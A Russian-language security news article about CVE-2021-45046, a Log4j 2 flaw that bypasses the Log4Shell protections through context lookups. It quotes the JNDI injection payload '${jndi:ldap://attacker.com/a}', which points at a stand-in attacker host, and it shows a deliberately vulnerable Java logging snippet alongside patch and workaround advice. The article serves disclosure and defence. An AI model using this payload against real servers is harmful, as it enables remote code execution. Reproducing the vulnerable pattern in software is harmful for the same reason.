18.01.2022

Новый вариант атаки на Log4j 2, позволяющий обойти добавленную защиту

В реализации подстановок JNDI в библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления и независимо от использования настройки «log4j2.noFormatMsgLookup» для защиты. Проблема представляет опасность в основном для старых версий Log4j 2, защищённых при помощи флага «noFormatMsgLookup», так как даёт возможность обойти защиту от прошлой узявимости (Log4Shell, CVE-2021-44228), позволяющей выполнить свой код на сервере. Для пользователей версии 2.15 эксплуатация ограничивается созданием условий для аварийного завершения приложения из-за исчерпания доступных ресурсов.

Уязвимость проявляется только на системах, в которых при журналировании используются контекстные запросы (Context Lookup), такие как ${ctx:loginId}, или MDC-шаблоны (Thread Context Map), например, %X, %mdc и %MDC. Эксплуатация сводится к созданию условий для вывода в лог данных, содержащих подстановки JNDI, при использовании в приложении контекстных запросов или MDC-шаблонов, определяющих правила форматирования вывода в лог.

Исследователи из компании LunaSec отметили, что для версий Log4j меньше 2.15 данная уязвимость может использоваться как новый вектор для атаки Log4Shell, приводящей к выполнению кода, если при выводе в лог используются выражения ThreadContext, в которые попадают внешние данные, независимо от включения для защиты флага «noMsgFormatLookups» или шаблона «%m{nolookups}».

Обход защиты сводится к тому, что вместо прямой подстановки «${jndi:ldap://attacker.com/a}», данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных «${jndi:ldap://attacker.com/a}» в значение, записываемое в переменную apiversion. Пример уязвимого кода:

 appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Значение HTTP-заголовка "X-Api-Version" передаётся в ThreadContext ThreadContext.put("apiversion", apiVersion); // При выводе в лог внешнее значение apiversion будет обработано при помощи подстановки ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

В версии Log4j 2.15 уязвимость может использоваться для совершения DoS-атак при передаче в ThreadContext значений, приводящих к зацикливанию обработки шаблона форматирования вывода.

Для блокирования уязвимости опубликованы обновления 2.16 и 2.12.2. В ветке Log4j 2.16, помимо реализованных в версии 2.15 исправлений и привязки JNDI LDAP-запросов к «localhost», по умолчанию полностью отключена функциональность JNDI и удалена поддержка шаблонов подстановки сообщений. В качестве обходного пути защиты предложено удалить класс JndiLookup из classpath (например, «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).

Проследить за появлением исправлений в пакетах можно на страницах дистрибутивов (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) и производителей затронутых уязвимостью Java-приложений (GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens, Rockwell и т.д.).

Источник.